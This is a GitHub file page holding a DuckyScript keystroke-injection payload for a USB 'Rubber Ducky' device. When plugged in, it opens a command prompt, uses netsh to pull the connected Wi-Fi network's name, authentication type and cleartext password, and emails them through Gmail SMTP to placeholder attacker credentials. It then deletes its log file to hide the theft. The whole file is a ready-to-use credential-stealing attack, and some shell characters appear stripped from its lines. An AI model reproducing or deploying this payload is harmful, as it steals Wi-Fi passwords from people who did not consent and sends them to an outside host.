-
Notifications
You must be signed in to change notification settings - Fork 0
/
WiFiDucky.txt
68 lines (68 loc) · 1.93 KB
/
WiFiDucky.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
DELAY 2000
WINDOWS d
REM -- Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 1000
REM -- Changing directory
STRING cd %USERPROFILE%Desktop
ENTER
REM -- Get SSID
STRING for f tokens=2 delims= %A in ('netsh wlan show interface ^ findstr SSID ^ findstr v B') do set SSID=%A
ENTER
REM -- Get network type
STRING netsh wlan show profiles %SSID% findstr Network type findstr v broadcast findstr v RadioTemp.txt
ENTER
STRING for f tokens=3 delims= %A in ('findstr Network type Temp.txt') do set NETTYPE=%A
ENTER
REM -- Get authentication
STRING netsh wlan show profiles %SSID% findstr AuthenticationTemp.txt
ENTER
STRING for f tokens=2 delims= %A in ('findstr Authentication Temp.txt') do set AUTH=%A
ENTER
REM -- Get key
STRING netsh wlan show profiles %SSID% key=clear findstr Key ContentTemp.txt
ENTER
STRING for f tokens=3 delims= %A in ('findstr Key Content Temp.txt') do set KEY=%A
ENTER
REM -- Delete Temp.txt
STRING del Temp.txt
ENTER
REM -- Create Log.txt
STRING echo SSID %SSID%Log.txt & echo Network type %NETTYPE%Log.txt & echo Authentication %AUTH%Log.txt & echo Password %KEY%Log.txt
ENTER
REM -- Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YourEmailAdress@Here', 'YourEmailPassword');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'YourEmailAdress@Here'
ENTER
STRING $ReportEmail.To.Add('YourEmailAdress@Here')
ENTER
STRING $ReportEmail.Subject = 'WiFi'
ENTER
STRING $ReportEmail.Body = 'The log is attached!'
ENTER
STRING $ReportEmail.Attachments.Add('Log.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER
DELAY 2500
REM -- Delete Log.txt and exit
STRING del Log.txt
ENTER
STRING exit
ENTER